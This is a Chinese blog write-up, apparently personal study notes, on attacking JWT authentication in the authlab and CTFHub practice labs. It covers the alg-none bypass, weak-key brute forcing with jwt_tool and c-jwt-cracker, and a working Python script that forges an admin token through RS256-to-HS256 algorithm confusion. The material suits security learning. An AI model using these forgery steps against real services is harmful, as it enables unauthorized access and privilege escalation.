Featured image of post JWT

JWT

JWT

JWT(英文全称:JSON Web Token) 是一个开放标准(RFC 7519),用于在双方之间安全地表示声明。一种无状态的认证机制,通常用于授权和信息交换。 是目前最流行的跨域认证解决方案。

image-20241231161605793

authlab靶场

从安全性的角度来看,至少存在两个潜在的问题。 1、缺乏机密性-我们能够轻松解码有效载荷payload(和报头header)。 2、用户插入另一个操作(例如删除)并绕过授权

Leaky_JWT

靶场:https://authlab.digi.ninja/Leaky_JWT

image-20241231162302712

给了jwt加密的一串base64

去掉前后点的内容,解码payload

image-20241231162349650

密码还进行MD5加密了

image-20241231162508156

image-20241231162620948

JWT_None

靶场:https://authlab.digi.ninja/JWT_None

bp抓包,插件json web token attack可以看到解码后的

image-20241231164819376

用在线网站base64加密可以更改payload

image-20241231165053670

把后面的签名验证去掉,前面签名加密方式改为None

image-20241231165542729

就完成越权

漏洞攻击思路

攻击思路 首先找到需要JWT鉴权后才能访问的页面,如个人资料页面,将该请求包重放测试: 1)未授权访问:删除Token后仍然可以正常响应对应页面 2)敏感信息泄露:通过JWt.io解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等 3)破解密钥+越权访问:通过JWT.io解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料

4)检查Token时效性:解密查看payload中是否有exp字段键值对(Token过期时间),等待过期时间后再次使用该Token发送请求,若正常响应则存在Token不过期 5)通过页面回显进行探测:如修改Payload中键值对后页面报错信息是否存在注入,payload中kid字段的目录遍历问题与sql注入问题

JWT漏洞利用工具

1、jwt_tool(git clone https://github.com/ticarpi/jwt_tool

可以用来验证、伪造和破解JWT令牌。

安装

1、git clone https://github.com/ticarpi/jwt_tool

2、pip install pycryptodomex

3、cd到安装目录

4、解密

python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicm9iaW4iLCJsZXZlbCI6InVzZXIifQ.oYPuxIPnm6lYx3Zx_8zaMGVw7Np5nZtgJVnaMqlZcOQ

2、jwt-cracker

该工具仅限于单一的签名算法(HS256) ,如果提供了不同的签名算法,则无法进行操作 https://github.com/lmammino/jwt-cracker

3、c-jwt-cracker

同样是暴力破解 JWT 私钥的工具。 https://github.com/brendan-rius/c-jwt-cracker

1、使用c-jwt-cracker需要我们在我们linux里安装好openssl头文件。

在linux的配置命令是:apt-get install libssl-dev

2、下载好c-jwt-cracker,还需要我么在工具所在目录执行make命令。目的是让文件makefile运行起来。编译完后会生成一个jwtcrack文件。

1
2
3
sudo apt-get update
sudo apt-get install libssl-dev
make

ctfhub

敏感信息泄露

bp抓包然后丢给jwt_tool爆破出flag

无签名

bp抓包到repeater,改加密方式为none,role=“admin”,然后转编码到token

跟上面JWT_None一个思路

注意这里是none不是None。

修改签名算法

抓包是RS256加密

要改成HS256对称加密

题目给了publickey.pem

所以我们用脚本生成改为HS256的token

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#coding=utf-8

import hmac
import hashlib
import base64

file = open('publickey.pem')    #需要将文中的publickey下载    与脚本同目录
key = file.read()

#Paste your header and payload here

header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'

#Creating encoded header

encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")

#Creating encoded payload

encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")

#Concatenating header and payload

token = (encodeHeader + "." + encodePayload)

#Creating signature

sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")

print(token + "." + sig)

生成后丢进bp里面改token就得到flag。

弱密钥

抓包拿token,然后用c-jwt-cracker爆破密钥

image-20250103162036954

密钥是irty

image-20250103162055660

改role为admin

bp改token出flag

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计